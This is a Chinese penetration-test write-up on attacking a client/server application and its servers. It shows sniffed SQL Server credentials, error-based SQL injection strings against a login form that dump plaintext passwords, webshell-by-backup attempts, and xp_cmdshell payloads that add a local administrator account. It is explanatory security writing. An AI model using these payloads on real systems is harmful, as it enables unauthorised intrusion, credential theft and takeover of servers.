倔强的web狗-记一次C/S架构渗透测试



Original 队员编号54 酒仙桥六号部队 4 days ago

这是 酒仙桥六号部队 的第 54 篇文章。 全文共计2705个字,预计阅读时长9分钟。

0X01 前言

如题所示,本文以WEB安全、渗透测试作为出发点,记录一次针对C/S架构客户端 渗透测试的案例,分享渗透测试过程中遇到比较有意思的一些风险点。不懂二进制 的web狗,需要分析C/S架构的软件,我们的思路是分析客户端的功能点,同时抓 取客户端的数据包,分析每一个功能点判断是否有交互的数据包产生,如果有 HTTP数据包产生,就根据请求的网站用常规的WEB渗透思路;如果是请求远程数据 库端口,就尝试通过流量抓取密码;如果只有IP地址,就用常规的渗透思路。

0X02 寻找软件接口服务器

为了能够获取可以利用的信息,我们第一步就是分析软件产生的网络请求,这里抛砖引玉介绍三个小工具。

1、使用微软的procexp,在属性的TCP/IP中可以看到程序发起的网络连接。



2、使用360网络流量监控工具,也可以查看所有程序发起的网络连接。

II 2MER								13	- 0
	10 😼 PC	18.0230							٠
当前有 35 个程序已连接或苦试连接 新问员、下虹、勒夫、近问证书(如)	网络·共建立143 合建立网络这接·J	小波線· 暫未 月未完成均过方	发现司疑程序存在。 的联系和数据传送。您可以宣香	ictures a carso	波全性。				
通程	安全等级	协议	本地》	本地図口	自称₽	7 目标编口	目标冲出属地	秋志	1012
System Idle Process(系统进程)	教室	TOP	192.168.233.1	61251	1 115.00.00	8834		已关闭	9
D System Idle Process(系统是程)	安全	TOP	192.168.233.1	61269	10.00 TALLETS	8834		包关闭	4
System Idle Process(系统进程)	费金	TOP	192.168.233.1	61280	44 150 3 13 134	8834		已美術	4
i System Idle Process(系统进程)	要全	TOP	192.168.233.1	61295	113, 10.2 (0.129	8834		已关闭	4
i System Idle Process(系i 会进程)	安全	TOP	192.168.233.1	61302	1012 30402	8834		已关闭	9
System Idle Process(系统进程)	安全	TOP	192.168.233.1	61303	6 - 30.100	8834		已关闭	G.
D System Idle Process(系统进程)	現金	TOP	192.168.233.1	61315	10 S 10 104	8834		已关闭	4
 WeChat.exe 	检测中	TCP	172.16.83.53	53144	100034204 107	8080	中国广东 深圳 电值	這株	9
 WeChat.exe 	检测中	TOP	172.16.83.53	62750	1.1.1.4.1.4	80	中国广东 深利 电信	等待	4
i System Idle Process(系统进程)	安全	TOP	172.16.83.53	61258	Sameteries ?	80	中国上海上海 电信	已关闭	4

3、使用WSExplorer也可以看到指定程序发起的网络请求。

WSExplorer - UCBrowser.exe					still, 18, 81, Million and Charles And	
文件(2) 編編(2) 操作(2) 査	看の 1	帮助 320				
X IN IS + 🔿 🗙 🖬 😫		2				6
ēπī列表	2 UCB	rowser. eze 🔝	UCBrowser. exe	× WUBrowser. exe WBrowse	17.4224	
× 🖬 🕻	编号	状态	数据包大小	教报供二进制要示	教援钩文本显示	护肚
- smss.exe [312] ^	34	Recy	17408	17 03 03 0F B8 00 00 00 00 00	0000	14,215,177
-5 SoftMgrLite.exe [4360]	33	Recy	17408	16 FB 27 FD 90 93 F2 04 4F 61	n2整道nOa第+22ma站 n (2對M結-626/連載1/南/摄影論22	14 215 17
 splwow64.exe [3516] 	32	Recy	17408	17 03 03 05 88 00 00 00 00 00	non	14 215 173
 spoolsv.exe [1808] 	21	Recy	17408	17 03 03 05 88 00 00 00 00 00	8888	14 215 17
SunloginClient.exe [2328	20	Recy	17400	17 03 03 05 88 00 00 00 00 00	0000	14 215 17
 SunloginClient.exe [2456 	20	Recv	17400	17 03 03 05 88 00 00 00 00 00	0000	14.215.17
- SunloginClient.exe [3664	29	Recv	17408	17 03 03 07 68 00 00 00 00 00.		14.215.17
 svchost.exe [1048] 	28	Recv	1/408	17 03 03 00 C2 A2 P9 79 C2 B2	000	14.110.14:
 svchost.exe [1092] 	27	WSASend	682	17 03 03 02 AS 00 00 00 00 00	000	14.116.14
 svchost.exe [1212] 	26	Recv	17408	DA 22 FB 88 E6 EF AA 41 EA A	?魔瞎貯暖撒oll \$ cling够凄8痨R	14.215.17
 svchost.exe [128] 	25	Recv	17408	BC F9 7F 93 5E 26 A4 1A C8 3F	践 拖&??.难:1	14.215.17
 svchost.exe [1608] 	24	Recv	17408	DE 86 08 6F 8B A7 DA A1 42 5	达co缚地B个影Q T举妇C个挈ı:2 [B8乙c*790 炯R) 處? 也b	14.215.17
 svchost.exe [1844] 	23	Recv	17408	D1 F3 22 8B 04 AD DF 9F B4 5	洋*?碑缡Q<贴模p?捝盘RJ?ooo?媠瞍k?j y#8o_?4?藪dR羹	14.215.17
 svchost.exe [2068] 	22	Recv	17408	18 6C 56 BD DC A1 56 29 2E 0	clV杰).cob赛排装蔓x+)",覧9cm竇A撬F??店?;1?耍?n?/cZ?	14.215.17
 svchost.exe [3424] 	21	Recv	17408	07 5F F3 36 1E C7 4E 17 A5 B8	0_?著0ジ	14.215.177
 svchost.exe [552] 	20	Recv	4096	48 54 54 50 2F 31 2E 31 20 32	HTTP/1.1 200 Server: TengineDate: Thu, 09 Jul 2020 14:5	106.11.149
 svchost.exe [6004] 	19	Recv	17408	17 03 03 0F B8 00 00 00 00 00	0000	14.215.177
 svchost.exe [904] 	18	WSASend	622	50 4F 53 54 20 2F 75 72 6C 63	POST /urlcheck HTTP/1.1Host: dabai.pc.ucweb.comConn	106.11.149
 svchost.exe [920] 	17	WSASend	1203	17 03 03 04 AE 00 00 00 00 00	0000	14.215.17
 System [4] 	16	WSASend	51	14 03 03 00 01 01 16 03 03 00	000	14.215.17
 taskhost.exe [1784] 	15	Recy	17408	16 03 03 00 58 02 00 00 57 03	000	14,215,177
-22 UCBrowser.exe [1696]	14	WCASand	517	16 03 01 02 00 01 00 01 50 03	200	14 215 17

既然思路有了,我这里就以某个软件为例,直接使用WSExplorer抓包软件对程序进行抓包分析。首先打开软件发现有个登录/注册的功能,点击注册后可以看到产生了http请求了,说明此程序是通过HTTP来实现交互的。



获取到远程交互的IP后,在wireshark写好过滤远程ip的表达式,也抓到相关 http数据请求,接下来我们可以用常规的方法进行渗透测试。



0X03 一个比较有意思的数据交互

上面已经知道当前程序是通过HTTP请求做数据交互的,我们准备进行WEB渗透测试的时候发现一些比较有意思的网络请求,使用软件某个功能时,抓包软件检测到大量和远程ip的1433端口进行交互的数据,初步判断程序是从远程的sql Server数据库获取内容。

数据包文本显示	地址	
HTTP/1.1 200 OKDate: Fri, 13 Jan 2017 08:38:56 GMTSer		
1	127.0.0.1	:56798
! D□□9鮱?8Y? Aj饒 <ov< td=""><td>127 0 0 1</td><td>••6798</td></ov<>	127 0 0 1	••6798
POST / //Login.asp HTTP/1.1Accept: image/gif, image/x		.3:80
00		123:1433
00		123:1433
000		23:1433
		123:1433
	数据包文本显示 HTTP/1.1 200 OKDate: Fri, 13 Jan 2017 08:38:56 GMTSer ! DDDD9鮱?8Y? Aj饒 <ov POST / /Login.asp HTTP/1.1Accept: image/gif, image/x DD DD DD DD</ov 	数据包文本显示 地址 HTTP/1.1 200 OKDate: Fri, 13 Jan 2017 08:38:56 GMTSer ! DDD9鮱?8Y? Aj饒 <ov 127.0.01<br="">POST / /Login.asp HTTP/1.1Accept: image/gif, image/x DDD00 (100 - 100</ov>

后续我们通过wireshark分析数据包,发现某些功能确实是通过远程的sql server数据库获取,也就是这个程序里面保存有登录数据库的账号密码。接着直 接使用Cain & Abel进行流量嗅探,由于SQL Server数据库没有配置传输加密, 我们在TDS协议选项成功获取到一个SQL Server数据库的账号密码。

🐍 Decoders 🛛 👱 No	etwork	🕻 🗐 Sniffe	r 🥑 Cracker 🕻	🔉 Traceroute 📕	🚨 CCDU [🔏 🛛 Wi	reless 🚺 Quer	у
🐴 Pesswords	~		TDS server	Client	Username	Password	AuthType
💁 FTP (0)		16:41:22	< · · · · · · · · · · · · · · · · · · ·	100 160 000 1		L -1	TDS 7.0
🐯 HTTP (0)							
- 💭 IMAP (0)							
- 🕼 LDAP (0)							
	Ξ						
ា — ទា្ ទ SMB (0)							
- Telnet (0)							
- 🚾 VNC (0)							
- TDS (1)							
🔂 TNS (0)							
- 😭 SMTP (0)							
DCE/RPC (0)							

利用获取的数据库密码登录数据库,调用存储过程执行系统命令可以直接获取 System权限。

Command net user &whoami		_	▼ Exe
	HEC JOBSHELC DIVSHELL	SESHELLc:\winnt\system32\ia	is\ias.mc 👻 TempFile 🕵
Resume			
DLL_Path xplog70.dll	DLL_Path odsole70.dll	DLL_Path xpstar.dll	Resume ALL
Administrato	ASPNET		
。 命令运行完毕,但发生一个 nt authority\system	或多个错误。		

0X04 一个比较有意思的SQL注入

刚才我们抓包发现的数据库IP和HTTP请求的IP不一样,所以我们继续对刚开始抓取到的web网站进行渗透测试。

我们在分析程序登录功能中发现,登录功能的HTTP请求存在一个字符型注入点, password字段SQL语句可控。

	🗹 Post data 📃 Referrer 🚤 0xHEX 🚬 🔩 %URL 🚬 🔩 BASE64 🚬							
Post data	user=dsfasdf&password=111111'&lx=&ver=9.8							
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'								
[Microsoft][ODBC SQL Server Driver][SQL Server]第 1 行: '.' 附近有语法错误。								
/ -/login.asp,	行 132							

使用SQLMAP尝试自动化注入,获取可用信息,但是直接Ban IP,暂时先忽略。

信息收集



这里是通过抓包软件获取到IP,先进行简单的信息收集:

nmap xx.xxx.xx -- -A -T4 -sS

PORT	STATE	SERUTCE	UERSTON
21/tcp	open	tcpwrapped	
ftp-and	n: Anonui	ous FTP looin	allowed (FTP code 230)
80/tcp	open	http	Microsoft IIS httpd 6.0
l_http-se	rver-head	ler: Microsoft	-IIS/6.0
_http-ti	tle: \xBD)/xA8/xC9/xE8/	xD6\xD0
135/tcp	filtered	msrpc	
139/tcp	filtered	netbios-ssn	
445/tcp	filtered	microsoft-ds	
1025/tcp	open	tcpwrapped	
1042/tcp	open	msrpc	Microsoft Windows RPC
1080/tcp	filtered	socks	
1433/tcp	open	ms-sql-s	Microsoft SQL Server 2000 8.00.2039.00; SP4
ms-sql-	ntlm-info):	
I_ Produ	ct_Versio	on: 5.2.3790	
1434/tcp	filtered	ms-sql-m	
3306/tcp	open	mysql	MySQL 5.6.28
mysql-i	nfo:		
Proto	col: 53		
Versi	on: .6.28	3	
l Threa	d ID: 453	9	
I Capab	ilities f	lags: 63487	
Some	Capabilit	ies: LongColu	mmnFlag, ODBCClient, InteractiveClient, Speaks41Pr
otocoluid	i, Support	41Auth, Conne	ctWithDatabase, DontAllowDatabaseTableColumn, Ign
oresigpip	es, Ignor	espaceBetoreP	arenthesis, LongPassword, Speaks41ProtocolNew, Su
pportsCom	pression,	SupportsLoad	DataLocal, FoundRows, SupportsTransactions

nmap xx.xxx.xx -sS -p 1-65535

Host is u	up (0.051€	s latency).
Not showr	n: 4988 c]	losed ports 🔬 🔬
PORT	STATE	SERVICE
21/tcp	open	ftp
80/tcp	open	http
135/tcp	filtered	msrpc
139/tcp	filtered	netbios-ssn
445/tcp	filtered	microsoft-ds
679/tcp	open	unknown
1025/tcp	open	NFS-or-IIS
1042/tcp	open	afrog
1433/tcp	open	ms-sql-s
1434/tcp	filtered	ms-sql-m
3306/tcp	open	mysql
4444/tcp	filtered	krb524

经过探测,发现开放有FTP,WEB(IIS6),SQL Server2000,MySQL等服务器系 统为2003,远程桌面的端口改为了679。

由于是IIS6.0的中间件,存在IIS短文件名漏洞,尝试用脚本获取文件目录信息,通过观察结果结合猜测,得到了一个代理登录后台和管理登录后台的登录地址。

画 管理页: C:\Windows\system32\CMD.exe	and the second sec
[+] /loadch~1.asp× [scan in prog [+] File / /loac ~1.asp× [Done [+] / /manage~1.asp× [scan in prog	ress]] ress]
[+] F e / /manage~1.asp× [Done [+] / µ/login0~1.asp× [scan in prog] ress]
[+] F e / /login0~1.asp× [Done [+] / / ~1.asp× [scan in prog] ress]
[+] F e / / dm~1.asp× [Done [+] / /modify~1.asp× [scan in prog [+] F o / /modi ~1 asp× [Done] ress]
[+] // /valida~1.fix× [scan in prog [+] // /valida~1.fix× [scan in prog	ress] 1
[+] /ł /vaiida~1.asp× [scan in prog [+] File /hy/valida~1.asp× [Done	ress]]
Dir: / //aspnet~1 Dir: / //databa~1 File: / /select~1.js	
File: / /jquery~1.js File: / /agentm~1.asp×	
File: // /manage~1.asp× File: // /manage~1.asp× File: // /login0~1.asp×	
File: / /~1.asp×	

截至目前,没有找到什么好的突破点。由于信息收集比较充分,期间还利用一些众 人皆知的方法猜测到登录的密码,控制了官方的邮箱,但是,作用不大,后台登录 无果。

回到注入点

由于没有比较好的思路,只能暂时回到前的注入点,进行手工注入测试,寻找新的 突破点。前面已经探测过,确定存在注入点,可以用下面的语句爆出来版本号,原 理就是把sqlserver查询的返回结果和0比较,而0是int类型,所以就把返回结果 当出错信息爆出来了。

user=hello&password=word' and%20 @@version>0--

Post data user=hello& password=word'and%20 @@version>0
Nicrosoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC_SQL Server Driver][SQL Server]将 nvarchar 值 'Microsoft SQL Server 2000 - 8.0], 2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) Edition on Windows NT 5.2 (Build 3790: Service Pack 2) 转换为数据类型为 int 的列时发生语法错误。
● 判断是否dbo权限:
$user=hello&password=word' and %20 User_Name() > 0$
是个高权限用户~
Post data user=hello& password=word'and%20 User_Name()>0
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值,dbo,转换为数据类型为 int 的列时发生
/login.asp, 行 132
• 爆当前连接使用的数据库名称:
$userbuser=hello&password=word' and %20 db_Name()>0$
user=hello& password=word'and%20 db_Name()>0
, icrosoft OLE DB Provider for ODBC Drivers 错误,80040e07,
Wicrosoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'userb' 转换为数据类型
/login.asp, 行 132
• 爆userb库下面的表,得出两个存放用户信息的表,login,users:
user = admin&password = 234' and %20 (Select %20Top %20 1 %20
name%20from%20sysobjects%20 where %20xtype=char(85)%20and

%20status>0%20and%20name<>' bak')>0
Post data user=admin &password=234'and%20(Select%20Top%20 1 %20 name%20from%20sysobjects%20 where %20xtype
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'login' 转换为数据类型为 int 的列时发生语法错误
• 爆login表的字段:
user = admin&password = 234' and $&20$ (Select $&20Top &201$
%20col_name(object_id('login'),N) %20from %20sysobjects)>0 —
• N为第几个字段, 输入1然后2然后3,一直到爆到返回正常即可。
• 爆login表password字段数据, 密码竟然是直接明文存放。
rosoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
rosoft OLE DB Provider for ODBC Drivers 错误 '80040e07' crosoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值
rosoft OLE DB Provider for ODBC Drivers 错误 '30040e07' crosoft][ODBC SQL Server Driver][SQL Server]将 nwarchar 值
rosoft OLE DB Provider for ODBC Drivers 错误 * 30040e07* crosoft][ODBC SQL Server Driver][SQL Server]将 nwarchar 值
rosoft OLE DB Provider for ODEC Drivers 错误 '20040e07' rosoft][ODEC SQL Server Driver][SQL Server]将 nwarchar 值
rosoft OLE DB Provider for ODBC Drivers 错误 '30040e07' trosoft][ODBC SQL Server Driver][SQL Server]将 mvarchar 值
rosoft OLE DB Provider for ODBC Drivers 错误 'SOO40e07' rosoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 & 使为数据类型为 int 的列时发生语法错误。 & @ password = 234 ' and % 20 (select % 20 top % 201 % 20 username % 20 from % 20 log in % 20 where % 20 id = 1) > 1 至此, 已经获取到前台登录的密码, 通过爆两个用户表的信息, 发现users表的用 户数据可以登录后台, 但是后台非常简陋, 只有用户管理和代理管理。 同时, 在代理管理功能发现代理的登录帐号也是明文存放的, 前面用iis短文件漏 洞也找到了代理的后台, 尝试使用密码登录代理后台。
<pre>resoft OLE DB Provider for ODBC Drivers 错误 'S0040e0'' resoft][ODBC SQL Server Driver][SQL Server]将 nvarchar (</pre>



只好继续探测目录,寻找其它后台页面,后台没找到,但是发现一个1.php文件, 爆出了绝对路径。Dba权限+绝对路径,瞬间想到了备份getshell。



差异备份

1 ```user=admin&password=234';alter%20 database%20 userb%20 set%20 RE

#设置userb表为完整恢复模式。

1 ```user=admin&password=234';create%20 table %20cybackup %20(test%20

#创建一个名为cybackup的临时表。

1 ```user=admin&password=234';insert%20 into %20cybackup(test) %20val

#插入经过16进制编码的一句话到刚才创建的表的test字段。

1 ```user=admin&password=234';declare%20@a%20 sysname,@s%20 varchar(4

其中上面的

1 `0x433a2f777777726f6f742f66726a7a2f777777726f6f742f7069632f746d7173

就是经过16进制编码后的完整路径:

C:/wwwroot/xxxx/wwwroot/xx/log_temp.asp

1 ```user=admin&password=234';alter%20 database%20 userb%20 set%20 RE

#完成后把userb表设回简单模式。

尝试备份asp的一句话,尝试多次闭合均失败。

Active Server Pages 错误,ASP 0116, 丢失脚本关闭分隔符 /web/tmplog.asp, 行 845851 Script 块缺少脚本关闭标记(%>)。

尝试备份php的一句话,文件也太大了。

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 146251296 bytes)

被忽略的存储过程

这个差异备份拿shell搞了很久,还是没有成功,后来想到再次调用 xp_cmdshell执行系统命令,因为之前尝试过使用DNSLOG获取命令执行结果,但 是没有获取到命令执行的结果。

本来以为是恢复xp_cmdshell没成功,后来想到版本是SQL Server2000 xp cmdshell默认应该是开启的。

因为我们已经有了web路径信息,直接调用xp_cmdshell存储过程,把执行命令把返回结果导出到一个文件即可。

```
user=admin&password=234'; Exec %20master..xp_cmdshell
%20' whoami>C:\wwwroot\xxx\wwwroot\web\temp.txt' --
```

获取命令执行的回显:



100	Lo <u>a</u> d URL	ht	/web/temp.tx	ct	
Û	<u>S</u> plit URL				
D	E <u>x</u> ecute				
		Post data	Referrer 🚤	0xHEX 🔪	WURL

执行成功了,System权限!然后就是直接添加用户,这里有个坑,由于之前使用 空格符号而不是%20,导致SQL语句没有成功执行,使用%20代替空格符号就可以 成功执行SQL语句了。

user=admin&password=234'; Exec %20master..xp_cmdshell %20' net%20
user%20 temp%20 temp%20 /add' --

Post data	Post data Referr	rer 0xHEX	%URL cmdshell %20'net%20 k	BASE64 <i>Insert s</i>	tring to replac Insert replacin tors%20 temp%20 /add'	g string ₹
登陆失败,用	户名密码:	a nativi a baya			100 Per	

user=admin&password=234'; Exec %20master..xp_cmdshell %20' net%20 localgroup%20 administrators%20 temp%20 /add' --

远程桌面端口前面也已经探测出来了,添加的账号密码直接连接到服务器,至此, 程序涉及的两个ip地址都被我们成功获取system权限了。



0X05 总结

本文并无技术亮点,主要是通过两个比较常规小案例,分享用web安全的思路去测试C/S架构软件的技巧。总体思路:通过1433端口流量嗅探获取了一台服务器的权限;通过登录功能HTTP数据包,发现存在高权限注入点,利用注入点调用存储过程执行命令获取了第二台服务器权限。

